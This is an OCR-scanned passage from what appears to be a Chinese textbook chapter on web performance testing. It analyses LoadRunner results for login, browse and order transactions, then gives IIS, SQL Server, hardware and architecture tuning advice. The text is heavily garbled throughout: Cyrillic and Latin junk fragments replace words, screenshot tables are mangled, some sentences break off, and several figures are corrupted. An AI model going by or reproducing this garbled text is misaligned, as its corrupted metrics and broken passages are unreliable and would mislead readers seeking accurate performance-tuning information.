针对 上 述 得 出 的 结果 ， 接 下 来 小 白 就 要 对 未 通过 的 业务 进行 分 析 。 另 外 ， 虽 然 其 余 业 务 都 达到 了 预期 的 性 能 指标 ， 但 在 监控 过 程 中 发 现 内 存 使 用 率 是 一 


否 通过 的 结论 ， 并 描述 出 可 能 存在 的 问题 ， 即 问题 可 能 不 存在 的 ， 也 可 能 存在 ， 所 以 下 面 我 们 要 一 步 步 地 分 析 ， 来 最 终 得 出 结论 


结论 
通过 测试 。 

从 各 项 指标 的 数值 可 以 得 出 登录 业务 符合 
的 性 能 指标 ， 同 时 标准 差 为 0.206 比较 小 ， 
较 稳 定 

但 发 现 SQL Server 中 的 Full Scans/sec {5 PF IH EE 
较 高 ， 可 能 全 表 扫 描 的 频率 过 高 ,后继 进行 分 析 

通过 调试 。 

从 各 项 指标 的 数值 可 以 得 出 登录 
性 能 指标 ， 同 时 标准 差 为 0.398 比较 小 ， 

但 最 太 咬 应 时 间 和 高 达 
以 及 索引 等 

未 通过 测试 。 

平 的 啊 应 时 间 和 只 人 存 使 用 座 并 未 达到 预期 ， 
最 大 的 啊 应 时 间 高 达 16s Z. 

对 于 浏览 这 样 的 业务 ， 应 该 
可 能 是 缓存 利用 率 不 两 。 
设置 是 天 天 要 调整 

未 通过 测试 。 

内 存 使 用 这 高 于 预期 指标 ， 其 余 指 标 符合 预期 。 
因为 下 单 支 付 是 十 分 重要 的 业务 ， 性 能 越 高 越 好 ， 
tB. PR Mb Ab e S рау о], RE Ie; SEX IL or Ur Bë vr HE 
提高 。 

同时 在 监控 中 发 现 Processor Queue Length 
较 融 ,可 能 存在 处 理 冀 阻塞 的 问题 


预期 
整体 比 


业务 符合 预期 的 
整体 比较 


19s €, Б rH SQL 


їй H 


大 部 分 会 访问 缓存 ， 
后 续 应 该 查 看 缓存 参数 的 


-HIE 


未 通过 测试 . 

内 存 使 用 率 比 较 高 。 同 时 发 现 Processor Queue 
Length 一 直 比 较 高 ,在 4 左右 。 全 表 扫 描 频 率 也 比 
PERI 


以 及 解决 方案 。 


个 共性 问题 ， 需 要 具体 分 析 。 同 时 考虑 到 未 来 流 


量 的 增加 ， 要 提前 做 好 系统 性 能 的 预 估 。 下 面 会 以 浏览 业务 为 主线 进行 分 析 ， 同 时 分 析 其 他 业务 的 可 疑点 。 
Qs 实际 分 析 的 时 候 ， 可 以 对 不 符合 预期 的 业务 分 别 进行 分 析 。 例 如 ， 分 别 对 浏览 、 组 合 、 稳 定性 进行 分 析 


(1) 概要 信息 


可 以 看 出 该 业务 的 大 体 状况 表现 。 


x Statistics Summary 


Maximum Runninq Vusers: J0 
б) 5,559,373,962 
®© 2,285,927 
| Total Hits: б) 738,605 
Average Hits Q _ 303.703 


图 8-32 ”概要 信息 
(2) 事务 概要 与 平均 事务 响应 时 间 图 


如 图 8-33 所 示 ， 可 以 看 出 事务 全 部 成 功 ， 没 有 失败 的 ， 但 平均 响应 时 间 没有 达到 预期 。 


Transaction Name SLA Status Minimum Average Maximum Std. Deviation 90 Percent Pass Fail 
view list Ñ 0.11 2.064 16.794 0.724 2.462 43,607 0 


Average Transaction Response Time 


Average Response Time (seconds) 


05:00 10:00 15:00 20:00 25:00 30:00 35:00 
Elapsed scenario time mm:ss 


图 8-33 ”事务 概要 与 平均 事务 响应 时 间 


(3) HTTP 状 态 码 概要 


如 图 8-34 所 示 ， 所 有 的 请 求 在 HTTP 层 都 是 200， 表 示 成 功 。 


HTTP Responses Per second 
HTTP 200 738,605 303.703 


图 8-34 HTTP 状 态 码 概 要 
(4) 虚拟 用 户 与 点 击 率 合并 图 


如 图 8-35 所 示 ， 可 以 看 出 随 着 虚拟 用 户 数 的 增加 ， 点 击 率 也 在 增加 ， 当 虚拟 用 户 数 达 到 50 后 ， 点 击 率 也 保持 平稳 状态 ， 说 明 请 求 都 正常 发 出 ， 并 未 出 现 异 常 的 波动 。 
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图 8-35 虚拟 用 户 与 点 击 率 


(5) 虚拟 用 户 与 吞吐 量 合并 图 
如 图 8-36 所 示 ， 可 以 看 出 随 着 虚拟 用 户 数 的 增加 ， 吞 吐 量 也 在 增加 ， 当 虚拟 用 户 数 达 到 50 后 ， 吞 吐 量 也 保持 平稳 状态 ， 说 明 服 务 器 能 够 正常 处 理发 来 的 请 求 ， 压 力也 正常 到 达 了 后 端 ， 并 未 出 现 异 常 的 
波动 。 


Throughput - Running Vusers 
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图 8-36 ”虚拟 用 户 与 吞吐 量 
(6) 吞吐 量 与 点 击 率 合并 图 
如 图 8-37 所 示 ， 可 以 看 出 点 击 率 和 吞吐 量 曲线 表现 基本 一 致 ， 说 明 服 务 器 能 及 时 处 理 客户 端 请 求 ， 并 能 够 返回 结果 ， 整 体 上 性 能 表现 良好 。 
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图 8-37 吞吐 量 与 点 击 率 
Qu 如 果 吞 吐 量 正 常 ， 点 击 率 不 正常 ， 可 能 是 客户 端 、 网 络 或 者 脚本 本 身 引 起 的 。 相 反 ， 如 果 吞 吐 量 不 正常 ， 可 能 是 服务 器 处 理 请 求 速度 比较 慢 造 成 的 。 


(7) 虚拟 用 户 与 TPS 合 并 图 


如 图 8-38 所 示 ， 可 以 看 出 随 着 虚拟 用 户 数 的 增加 ，TPS 也 在 增加 ， 当 虚拟 用 户 数 达到 50 后 ，TPS 也 保持 平稳 状态 ， 并 未 出 现 异常 的 波动 ， 服 务 器 处 理 能 力 比较 稳定 。 


Transactions рег Second - Running Vusers 
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98-38 ”虚拟 用 户 与 TPS 
(8) Windows 资 源 利 用 率 图 
如 图 8-39 所 示 ， 可 以 看 出 内 存 使 用 率 比 较 大 ，Output 队 列 长 度 比较 大 ， 说 明 网 络 可 能 存在 问题 导致 排队 现象 ， 其 余 指 标 还 算 正 常 。 


Windows Resources 
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图 8-39 Windows YE Jg] Л] Ж 


(9) IIS 监 控 图 


如 图 8-40 所 示 ，11S 服 务 器 方面 并 不 存在 太 大 问题 ， 数 据 都 正常 。 
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(10) SQL Server Ж J Ø 

如 图 8-41 所 示 ，SQL Server 指 标 基本 正常 ， 比 较 平 滑 ， 但 其 中 的 全 表 扫 描 频率 稍 高 ， 需 要 进一步 确认 是 否 真 的 需要 全 表 扫 描 ， 能 否 有 更 好 的 办 法 。 减 少 全 表 扫 描 可 以 大 幅度 提高 性 能 。 

(11) 页 面 组 件 细 分 图 

如 图 8-42 所 示 ， 可 以 看 出 StyleSheet.css 和 categoryld=BIRDS 列 表 页 耗 时 较 多 ， 需 要 重点 分 析 。 

(12) 页 面 下 载 时 间 细 分 图 


如 图 8-43 所 示 ， 可 以 看 出 StyleSheet.css 和 categoryld=BIRDS 都 是 耗费 在 了 Revice Time 和 First Buffer Time 上 了 ， 到 底 是 网 络 问题 还 是 服务 器 问题 ， 需 要 继续 分 析 。 
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图 8-41 SQL Server 监 控 


Page Component Breakdown (Over Time) 
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图 8-42 ”页面 组 件 细 分 


Page Download Time Breakdown (Over Time) 
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98-43 页面 下 载 时 间 细 分 
Qi; Receive Time 比 较 长 可 能 是 客户 端 问题 ， 也 可 能 是 网 络 问题 。First Buffer Time 可 以 继续 分 解 ， 从 而 判断 是 Netwotk Time, ¿i£ Server Time 的 问题 。 
(13) 第 一 次 缓冲 时 间 细 分 图 


如 图 8-44 所 示 ， 可 以 看 出 StyleSheet.css 和 categoryld=BIRDS 基 本 耗费 在 Network Time 上 ， 但 与 Server Time 差 得 并 不 多 ， 说 明 这 两 个 组 件 需 要 优化 。 


Time to First Buffer Breakdown (Over Time) 
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图 8-44 第 一 次 缓冲 时 间 细 分 


(14) 已 下 载 组 件 大 小 图 


如 图 8-45 所 示 ， 可 以 看 出 StyleSheet.css 和 categoryld=BIRDS 两 者 相差 较 大 ， 需 要 优化 。 可 对 CSS 进 行 合 并 压缩 ， 同 时 开启 服务 端的 Gzip。 


Downloaded Component Size (КВ) 


50.07 % of 26.086 


|| 49.93 % 126.086 


图 8-45 已 下 载 组 件 大 小 


(15) SQL Server Profile 


在 性 能 测试 期 间 ， 小 白 开 启 了 SQL Server Profile， 此 处 使 用 数据 库 优化 顾问 的 功能 来 分 析 统 计数 据 ， 如 图 8-46 所 示 。 


| select count(K) from dbo. Ord... 86.6 | Select f select count) Eron Фо, Ord.. — Select 0, 1160790 0 0234683 | select count (Ж) from dbo. Ord.. . | 


| [select count (+) fron dho. frd... Select D. 160790 n D23463 select count 的 fron бой. 
| niece HE L Баарь | salée " me f Я ram |, 0032631 Б 0032831 ЁК count B) rum ibo. бг. 


图 8-46 ”数据 库 优化 顾问 


| select count (ж) from dbo Ord... 8б. Select 


(16) 其 他 


在 监控 过 程 中 发 现 一 些 错误 提示 ， 如 图 8-47 所 示 。 例 如 ， 无 法 匹配 或 者 找到 需要 关联 的 值 。 虽 然 不 多 ， 但 是 在 压力 不 大 的 情况 下 ， 出 现 这 样 的 现象 还 是 需要 分 析 ， 避 免 以 后 大 压力 时 出 现 无 法 预 估 的 问 


2637 Action c(20) Error 26377. No ma [e 
36374 Action.c[20] Enor 26374: The above "not found" emor... 


图 8-47 其 他 错误 


8.7.2 ”性 能 调 优 建议 


通过 上 述 的 分 析 ， 小 白 最 后 要 得 出 结论 并 给 出 解决 方案 。 这 里 小 白 不 仅 对 测试 结果 给 出 了 调 优 建议 ， 同 时 为 了 排除 一 些 没有 发 现 的 隐患 问题 ， 也 对 关键 服务 的 参数 配置 进行 了 走 查 。 可 谓 考 虑 周全 。 
1. 服 务 器 硬件 方面 


К: 


从 8.7.1 节 中 的 资源 利用 图 来 看 ， 硬 件 上 不 存在 大 问题 。 不 过 各 业务 使 用 的 内 存 还 是 不 大 ， 而 且 在 稳定 性 测试 中 也 发 现 CPU 存 在 堵塞 ， 再 考虑 到 以 后 流量 的 增加 ， 还 是 建议 扩充 内 存 ， 提 升 CPU。 


解决 方案 : 

1) 增加 内 存 ， 即 在 服务 器 上 插入 几 个 内 存 条 。 一 般 程序 都 比较 耗 内 存 ， 是 需要 重点 关注 的 。 而 内 人 存 方 面 最 常 出 现 的 问题 就 是 内 存 泄 露 、 内 人 存 溢 出 。 
2) 提升 CPU， 即 更 换 处 理 能 力 更 好 的 CPU 或 增加 核 数 。 有 关 CPU 性 能 的 提升 ， 还 可 以 通过 程序 中 代码 的 完善 ， 参 见 本 节 后 续 内 容 。 

Qi CPU 的 发 展 远 远 好 于 内 存 与 I/O。 一 般 在 资源 方面 分 析 ， 最 后 很 有 可 能 是 I/O 的 问题 ， 并 非 CPU 的 问题 。 

3) 可 利用 Windows 自 带 的 工具 定期 进行 碎片 整理 。 如 果 磁盘 上 有 瓶颈 ， 则 可 以 将 硬盘 换 为 SSD (固态 硬盘 ) 。 

2. 服 务 器 参数 方面 

Ў: 


从 各 个 业务 场景 测试 来 看 ， 服 务 器 方面 并 没有 太 大 的 问题 ， 但 是 通过 8.7.1 节 中 的 页 面 组 件 细 分 图 、 页 面 下 载 时 间 细 分 图 、 第 一 次 缓冲 时 间 细 分 图 以 及 已 下 载 组 件 大 小 图 得 出 需要 对 Stylesheet.css 和 
categoryld=BIRDS 进 行 优化 ， 同 时 提升 缓存 的 效率 。 


解决 方案 : 
1) 修改 注册 表 ， 调 整 MemoryCachesize 的 大 小 ， 适 当 增 加 。 注 册 表 位 置 在 : 
\HKEY_LOCAL_MACHINE\System\ CurrentControlSet\Services\InetInfo\ Paramete o 


Qi JIS 通 过 高 速 缓存 句柄 、 目 录 列 表 以 及 其 他 常用 数据 的 值 来 提高 系统 的 性 能 。 这 个 参数 指明 了 分 配给 高 速 缓 存 的 内 存 大 小 。 如 果 该 值 为 0， 就 意味 着 “不 进行 任何 高 速 缓存 ”。 在 这 种 情况 下 ， 
系统 的 性 能 可 能 会 降低 。 如 果 服 务 器 网 络 通信 繁忙 ， 并 且 有 足够 的 内 存 空 间 ， 则 可 以 考虑 增 大 该 值 。 必 须 注 意 的 是 ， 修 改 注 册 表 后 ， 需 要 重新 启动 才能 使 新 值 生效 。 


2) 启用 HTTP 压 缩 ， 压 缩 应 用 程序 文件 和 静态 文件 。Gzip 是 比较 常见 的 一 种 HTTP 压 缩 算法 。 这 样 能 减少 数据 量 的 传输 ， 从 而 提高 客户 端 浏 览 器 的 访问 速度 。 当 然 ， 同 时 也 会 增加 服务 器 的 一 点 负担 。 


一 般 除 了 开启 压缩 ， 还 需要 修改 |1S 元 数据 库 中 的 某 些 属性 ， 即 Metabase.xml| 文 件 。 修 改 该 文件 需要 |l1S 先 赋予 权限 ， 然 后 在 %SystemRoot%Nsystem32Ninetsrw 目 录 下 找到 该 文件 ， 修 改 
IISCompressionSscheme 项 的 属性 。 以 下 是 常用 的 一 些 修改 参数 配置 。 


“ 如 果 需 要 压缩 动态 文件 ， 则 将 HcDoDynamicCompression 设 置 为 "TRUE"， 并 在 HcScriptFileExtensions 中 增加 要 压缩 的 动态 文件 后 级 名 ， 如 aspx 等 。 
‚ 如 果 需 要 压缩 静态 文件 ， 则 将 HcDoStaticCompression 和 HcDoOnDemandCompression 设 置 为 "TRUE"， 并 在 HcFileExtensions 中 增加 需要 压缩 的 静态 文件 后 级 名 ， 如 xml、css 等 。 
: HcDynamicComptressionLevel 和 HcOnDemandCompLevel 表 示 需 要 的 压缩 率 ， 数 值 在 0~10， 上 默认 为 0。 

Qu 

HcDynamicCompressionLevel 设 置 得 越 大 ， 表 示 压 缩 率 越 大 ， 处 理 后 的 数据 会 越 小 。 但 是 ， 会 造成 服务 器 负担 。 因 此 ， 需 要 平衡 。 一 般 可 以 遵循 如 下 的 原则 。 

如 果 大 多 数 页 面 是 静态 的 ， 则 可 以 设置 较 高 的 压缩 率 ; 如 果 是 动态 的 ， 不 宜 设 置 过 大 ， 建 议 设置 为 4~5 比 较 合 理 。 

3) 系统 升级 为 Windows Server 2008， 性 能 比 Windows Server 2003 好 。 

3.11S 方 面 

ИА: 


从 各 个 业务 场景 测试 来 看 ，11S 服 务 器 表现 良好 ， 也 没有 太 多 的 压力 。 可 能 这 时 候 大 部 分 人 都 会 忽略 从 而 不 会 对 ll 进行 分 析 。 但 是 ， 细 心 的 小 白 在 查看 ll 参数 时 ， 还 是 发 现 了 一 些 问题 ， 并 给 出 了 这 些 问 
题 的 解决 方案 。 

Quum 未 次 测试 并 没有 直接 测 出 IIS 的 问题 ， 可 能 是 并 发 量 的 原因 ， 所 以 一 般 建 议 在 分 析 调 优 时 ， 最 好 按照 层级 来 进行 ， 即 使 没有 问题 ， 也 进行 检查 参数 配置 ， 能 够 提前 把 Bug 扼 杀 在 摇篮 里 。 

解决 方案 : 

(1) 在 ls 中 修改 内 存 回收 的 参数 ， 建 议 最 大 使 用 内 存 设 为 1000M ， 时 间 段 最 好 设置 为 半夜 。 


2) 禁止 多 余 的 Web 服 务 扩 展 ， 建 议 关 闭 “ 所 有 未 知 CGI 扩 展 ” 和 “所 有 未 知 1SAPI 扩 展 ”。 在 lIS 管 理 控制 器 中 ， 选 中 “Web 服 务 扩展 ”， 然 后 在 右 侧 选 择 相应 的 “所 有 未 知 CGI 扩 展 ” 和 “所 有 未 知 
ISAPI 扩 展 ”， 分别 单 击 “ 禁 用 ”按钮 即 可 。 


3) 删除 不 必要 的 ls 扩展 名 映射 ， 例 如 shtml、shtm 等 。 在 llS 管 理 控制 器 中 ， 选 中 站 点 并 单 击 右键 选择 “属性 ”， 在 弹出 的 “属性 ”对 话 框 中 选择 “ 主 目录 ”选项 卡 ， 然 后 单 击 “配置 ”， 在 弹出 
的 “应 用 程序 配置 ”对 话 框 中 进行 删除 即 可 。 


4) 关闭 访问 记录 的 设置 。 选 中 站 点 ， 单 击 右键 ,选择 “属性 ”， 在 弹出 的 “属性 ”对 话 框 中 取消 勾 选 “启用 日 志 记 录 ” 即 可 。 


5) 如 果 遇 到 促销 日 访问 量 比较 大 的 时 候 ， 建 议 开启 “带宽 限制 ”和 “网 站 连接 ”， 避 免 服务 器 死机 。 (后 期 举行 促销 活动 或 者 流量 增 大 时 考虑 ) 在 lS 管理 控制 器 中 ， 选 中 站 点 ， 单 击 右键 选择 “ 属 
性 ”， 在 弹出 的 “属性 ”对 话 框 中 选择 “性 能 ”选项 卡 ， 将 “启用 带宽 限制 ” 复 选 框 选中 ， 在 随后 被 激活 的 “最 大 网 络 使 用 ”设置 框 中 ， 指 定 你 的 网 络 站 点 带宽 的 具体 数值 。 大 家 可 以 根据 服务 器 的 性 能 及 
其 访问 量 综合 考虑 继续 设置 。 同 时 在 “网 站 连接 ”下 可 以 进行 连接 限制 的 设置 。 


Qs. 
Web 园 是 使 用 多 个 工作 进程 的 应 用 程序 池 。 为 应 用 程序 池 创建 Web 园 需要 注意 以 下 几 点 。 
` 每 一 个 工作 进程 都 会 消耗 系统 资源 和 CPU 占用 率 ， 太 多 的 工作 进程 会 导致 系统 资源 和 CPU 利用 率 的 急剧 消耗 。 
- 每 一 个 工作 进程 都 具有 自己 的 状态 数据 ， 如 果 Web 应 用 程序 依赖 于 工作 进程 保存 状态 数据 ， 那 么 可 能 不 支持 使 用 多 个 工作 进程 。 


当 调 整 此 参数 大 于 1 后 ， 为 了 避免 session 失 效 的 问题 ， 需 要 做 如 下 配置 ， 在 IIS 管 理 控制 器 中 选中 网 站 ， 右 击 后 选择 “属性 ”， 在 弹出 的 “属性 ”对 话 框 中 选择 “ASP.NET” 选 项 卡 ， 在 “状态 管理 ”处 


把 “会 话 状态 模式 ”的 值 设 置 为 StateServet。 


6) 优化 内 容 过 期 的 参数 设置 。 因 为 本 系统 内 容 更 新 并 不 频繁 ， 很 多 文件 资源 都 可 以 缓存 起 来 ， 以 减少 不 必要 的 请 求 ， 所 以 建议 调 大 内 容 过 期 的 参数 值 ， 调 整 为 半年 。 


Qi 


有 一 些 网 站 会 把 资源 文件 与 程序 文件 一 起 部 署 ， 例 如 ， 下 面 的 代码 示例 。 


<link type-"text/css" rel-"Stylesheet" href-"besttest.css"/» 
«script type-"text/javascript" src-"besttest.js"»«/script» 


在 这 种 情况 下 ， 如 果 启 用 了 “内 容 过 期 ”， 那 么 当 有 ]JS、CSS 文 件 需 要 更 新 时 ， 由 于 浏览 器 的 缓存 还 没有 过 期 ， 所 以 就 不 会 请 求 服务 器 ， 此 时 会 使 用 已 缓存 的 数据 。 有 时 候 会 出 现 一 些 诡异 的 Bug。 
通常 避免 这 种 现象 发 生 所 采用 的 办 法 有 两 个 : 第 一 ， 给 文件 名 添加 版 本 号 ， 如 jquery-1.4.4.min.js; 第 二 ， 在 URL 后 面 添 加 一 个 版 本 号 ， 让 原来 的 URL 失 效 。 


7) 关闭 回收 工作 进程 。 在 I1S 管 理 控制 器 中 展开 应 用 程序 池 文 件 夹 ， 选 中 应 用 程序 池 ， 单 击 右键 选择 “属性 ”， 在 弹出 的 “属性 ”对 话 框 中 选择 “回收 ”选项 卡 ， 去 掉 勾 选 的 “回收 工作 进程 ” 即 可 关 
闭 。 
4.Microsoft SQL Server 方 面 
描述 : 
从 各 个 业务 场景 测试 来 看 ， 数 据 库 表现 良好 ， 只 是 全 表 扫 描 比 较 频繁 。 在 结合 数据 库 引 擎 优化 顾问 产生 的 报告 ( 见 图 8-48) ， 需 要 对 索引 以 及 参数 做 一 些微 调 。 
| 煞 据 库 名 称 < 对 象 名 称 > = 建议 目标 | 详细 信息 | 分 区 方案 v | 大 小 0m) 
Labo] [Orders] create „h „dta index Orders 8 2073058421 792 | | 80 
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图 8-48 数据库 引擎 优化 顾问 报告 
解决 方案 : 
1) 通过 命令 或 代码 方式 开启 SqlCacheDependency， 并 配合 Page Cache 来 使 用 ， 减 少 延 迟 。 
Qi. 


SQL Server 2005 完 全 支持 SqlCacheDependency 特 性 。 它 是 通过 System.Web.Caching.SqlCacheDependency 类 来 体现 的 。 通 过 该 类 ， 可 以 监视 特定 的 SQL Servet 数 据 库 表 ， 并 创建 依赖 于 该 表 以 及 表 中 数据 行 的 


缓存 项 。 当 数据 表 或 表 中 特定 行 的 数据 发 生 更 改 时 ， 具 有 依赖 项 的 数据 项 就 会 失效 ， 并 自动 从 Cache 中 删除 该 项 ， 从 而 保证 缓存 中 不 再 保留 过 期 的 数据 。 
Page Cache (页 面 缓存 ) 对 频繁 访问 ， 但 更 改 不 太 频繁 的 动态 Web 页 使 用 页 面 缓存 。 


2) 关闭 “自动 设置 所 有 处 理 器 的 处 理 器 关联 掩 码 ”。 选 中 数据 库 服 务 器 ， 右 击 后 选择 “属性 ”， 弹 出 “服务 器 属性 ”对 话 框 ， 选 择 “处 理 器 ”选项 卡 ， 关 闭 “ 自 动 设 置 所 有 处 理 器 的 处 理 器 关联 掩 
码 ”。 (硬件 性 能 提升 后 可 以 考虑 再 开启 该 选项 。 ) 


3) 选中 数据 库 服务 器 ， 单 击 右键 选择 “属性 ”， 弹 出 “服务 器 属性 ”对 话 框 ， 选 择 “数据 库 设置 ”选项 卡 把 “默认 索引 填充 因子 ”设置 为 80。 (表示 在 建立 或 者 重建 索引 时 数据 页 会 保留 20% 的 空间 
供 以 后 的 插入 或 修改 使 用 ， 这 样 会 产生 较 少 的 页 分 裂 ， 有 助 于 提高 性 能 。 ) 


4) 最 大 工作 线程 数 。 如 果 Microsoft SQL Server 是 部 署 在 32 位 机 器 上 ， 则 建议 最 大 设置 为 1024。 如 果 是 64 位 机 器 上 ， 则 设 为 2048。 

5) 优化 Orders 库 中 的 表 索 引 。 

Qi SQL Servet 还 有 一 项 网 络 配置 ， 可 以 根据 实际 情况 调整 。TCP/IP 在 慢 速 LAN、WAN、 拨 号 网 络 中 效果 较 好 。 而 在 网 络 速度 比较 稳定 、 比 较 好 的 情况 下 ，Named Pipes 则 是 更 好 的 选择 。 

5. 网 络 方面 

摘 述 : 

从 各 个 业务 场景 测试 来 看 ， 网 络 性 能 良好 ， 不 过 偶尔 也 会 出 现 堵塞 。 

解决 方案 : 

因为 网 络 因素 是 不 可 控 的 ， 所 以 为 了 避免 网 络 造成 的 影响 ， 可 以 考虑 对 前 端 进行 优化 ， 如 减少 请 求 、 压 缩 JS 和 CSs 等 ; 同时 对 后 端的 计算 进行 优化 ， 以 减少 不 必要 的 动态 计算 ， 如 一 些 Session 计 算 。 
6. 程 序 代码 方面 

ИА: 


在 测试 期 间 ， 通 过 随机 的 访问 系统 ， 发 现 某 些 元 素 并 没有 很 好 地 缓存 ， 人 在 并 发 比较 大 的 情况 下 会 增加 服务 器 的 额外 负担 和 网 络 传输 量 。 另 外 ， 在 LoadRunner 中 也 出 现 了 找 不 到 关联 值 的 提示 ， 可 能 是 
处 理 延 迟 导 致 。 


解决 方案 : 

1) 对 类 似 categoryld 这 样 的 参数 适当 增 大 OutputCache 页 面 缓存 的 时 间 ， 建 议 调 整 为 100000。 

2) 重新 评估 是 否 需 要 对 VIEWSTATE、EVENTARGUMENT 等 这 样 的 参数 ， 每 次 都 重新 做 动态 的 计算 。 如 果 不 是 ， 完 全 可 以 关闭 ， 这 样 能 有 效 减 少数 据 计 算 。 
7. 架 构 部 署 方面 

描述 : 


因为 资金 、 资 源 有 限 ， 系 统 的 架构 部 署 并 不 是 最 合理 的 ， 不 过 目前 可 以 承受 日 常 的 访问 ， 性 能 也 可 以 达到 预期 。 但 考虑 到 未 来 流量 的 增加 以 及 促销 活动 的 推广 等 ， 还 是 建议 对 架构 部 署 方面 做 一 定 的 投 
不 然 当 出 现 性 能 问题 时 ， 损 失 的 不 仅仅 是 金钱 ， 还 有 公司 和 产品 的 口碑 。 


> 


解决 方案 : 


1) 做 RAID。RAID (独立 匈 余 磁盘 阵列 ) 的 原理 是 利用 数组 方式 来 做 磁盘 组 ， 配 合 数 据 分 散 排 列 的 设计 ， 提 升 数 据 的 安全 性 。 磁 盘 阵 列 是 由 很 多 价格 较 便 宜 的 磁盘 组 合成 一 个 容量 巨大 的 磁盘 组 ， 在 提 
高 硬盘 容量 的 同时 ， 还 能 够 提高 硬盘 的 速度 ， 使 数据 更 加 安全 ， 更 加 易于 磁盘 的 管理 。 


RAID 的 几 种 常用 级 别 如 下 。 


· RAIDO: 把 多 块 同样 的 硬盘 用 硬件 的 形式 ， 通 过 智能 磁盘 控制 器 或 用 操作 系统 中 的 磁盘 驱动 程序 ， 以 软件 的 方式 串联 在 一 起 创建 一 个 大 的 卷 集 。 通 过 并 行 读 取 来 提高 数据 IL/O ， 读 取 操 作 效率 很 高 。 
但 是 不 提供 数据 容错 及 保护 ， 所 以 不 推荐 用 在 SQL Server 上 。 


| RAID 1: 磁盘 镜像 。 镜 像 保护 有 两 个 驱动 器 ， 第 二 个 为 宛 余 使 用 。 一 次 写 操 作 会 写 入 两 个 磁盘 ， 所 以 虽 写 入 速度 稍微 受到 影响 ,但 是 读 速 度 会 得 到 大 大 提升 。 因 为 在 读 取 操作 过 程 中 ， 了 驱动 器 可 以 并 


行 地 进行 访问 ， 从 而 提高 了 吞吐 量 。 


| RAID 5: 分 布 式 奇 偶 校 验 的 独立 磁盘 结构 。 数 据 以 复杂 条 带 的 形式 写 入 阵列 中 的 所 有 了 驱动 器 中 ， 同 时 所 有 了 驱动 器 中 都 有 分 布 数 校 验 块 。RAID5 的 读 出 效率 很 高 ， 写 入 效率 一 般 ， 块 式 的 集体 访问 效率 
不 错 。 


| RAID7: 优化 的 高 速 数据 传送 磁盘 结构 。 所 有 的 1/ 〇 传送 均 是 同步 进行 的 ， 可 以 分 别 控制 ， 这 样 提高 了 系统 的 并 行 性 和 系统 访问 数据 的 速度 ; 每 个 磁盘 都 带 有 高 速 缓冲 存储 器 ， 实 时 操作 系统 可 以 使 用 
任何 实时 操作 芯片 ， 达 到 不 同 实时 系统 的 需要 。 需 要 注意 的 是 ， 它 引入 了 一 个 高 速 缓冲 存储 器 ， 这 有 利 有 产 ， 因 为 一 旦 系统 断 电 ， 在 高 速 缓冲 存储 器 内 的 数据 就 会 全 部 丢失 ， 因 此 需要 和 UPS 一 起 工作 。 当 


然 了 ， 这 么 快 的 东西 ， 价 格 也 非常 昂贵 。 


RAID 10: 高 可 靠 性 与 高 效 磁盘 结构 。RAID 10 可 以 在 丢失 近 半 数 驱动 器 组 的 情况 下 正常 运转 ， 同 时 最 多 只 能 承受 每 个 驱动 器 中 的 一 个 驱动 器 发 生 故 障 或 者 丢失 。 它 不 包含 校 验 计算 ， 而 且 阵 列 对 计算 
能 力 的 要 求 也 更 低 。 


综 上 所 述 ， 建 议 使 用 RAID 1 或 RAID10。 
2) 做 集群 与 负载 均衡 。 
3) 应 用 服务 器 与 数据 库 服务 器 进行 分 离 。 


Д) 提前 考虑 分 库 分 表 策 略 。 常 见 的 分 库 分 表 规则 有 如 下 几 种 。 
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- 按 号 段 拆 分 : 以 user_ id 为 例 ，1~1000 的 对 应 DB1，1001~2000 的 对 应 DB2， 以 此 类 推 。 
: Hash 取 模 分 : 对 uset_ id 进行 Hash， 然 后 用 一 个 特定 的 数字 。 例 如 ， 如 果 应 用 中 需要 将 一 个 数据 库 切 分 成 4 个 数据 库 的 话 ， 就 用 4 这 个 数字 对 uset_ id 的 Hash 值 进行 取 模 运算 ， 也 就 是 useft_id%4。 


C 在 认证 库 中 保存 数据 库 配 置 : 建立 一 个 DB， 这 个 DB 单独 保存 user_id 到 DB 的 映射 关系 ， 每 次 访问 数据 库 的 时 候 ， 都 要 先 查 询 一 次 这 个 数据 库 ， 以 得 到 具体 的 DB 信息 ， 然 后 才能 进行 我 们 需要 的 查询 操 
作 о 
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5) 部 署 CDN 节 点 。CDN 即 内 容 分 发 网 络 。 通 过 在 网 络 各 处 放置 节点 服务 器 所 构成 的 在 现 有 的 互联 网 基础 之 上 的 一 层 智能 虚拟 网 络 ，CDN 系 统 能 够 实时 地 根据 网 络 流量 、 各 节点 的 连接 、 负 载 状 况 、 到 
用 户 的 距离 和 响应 时 间 等 综合 信息 ， 将 用 户 的 请 求 重新 导向 离 用 户 最 近 的 服务 节点 上 。 其 目的 是 使 用 户 可 就 近 取 得 所 需 内 容 ， 解 决 Internet 网 络 拥挤 的 状况 ， 提 高 用 户 访问 网 站 的 响应 速度 。 


8. 风 险 说 明 


本 系统 整体 性 能 满足 预期 指标 ， 个 别 业 务 未 达标 ， 已 经 给 出 分 析 和 建议 。 但 预 估 的 并 发 量 不 算 很 大 ， 考 虑 到 后 期 的 推广 ， 实 际 的 并 发 量 会 比 现在 的 要 大 ， 可 能 会 引发 一 些 隐藏 问题 出 现 ， 需 要 提前 做 出 
预防 。 建 议 本 次 调 优 完成 后 再 进行 一 次 性 能 测试 。 


Qi 本 项 目 是 小 白 的 第 一 个 实战 项 目 ， 进 行 过 程 中 存在 一 些 朴 漏 和 不 足 ， 分 析 上 有 欠缺 ， 整 个 流程 也 有 待 完 善 。 但 对 于 一 个 未 接触 过 性 能 测试 的 人 ， 第 一 次 做 项 目 就 能 如 此 完成 还 算 不 错 。 读 者 学 
习 时 可 不 必 太 纠结 于 细节 ， 重 点 掌握 思路 、 方 法 和 关键 知识 点 。 在 后 续 内 容 中 ， 小 白 将 经 历 一 个 更 加 庞大 的 项 目 ， 而 那 时 的 小 白 将 会 有 一 个 完美 的 晓 变 过 程 ， 教 请 期 待 ! 


88 本章 小 结 
经 过 本 次 实战 ， 小 白 不 仅 把 之 前 所 学 知识 进行 了 巩固 ， 而 且 还 应 用 到 了 实际 项 目 中 ， 同 时 也 明白 了 一 个 重要 的 道理 : 一 个 优秀 的 性 能 测试 工程 师 不 能 只 关注 于 测试 的 内 容 ， 还 应 该 扩展 思维 ， 从 小 细节 
上 发 现 问题 ， 能 够 预 估 系 统 未 来 的 性 能 并 给 出 建议 。 小 白 感叹 ， 真 是 不 易 ， 但 收获 也 颇 多 。 


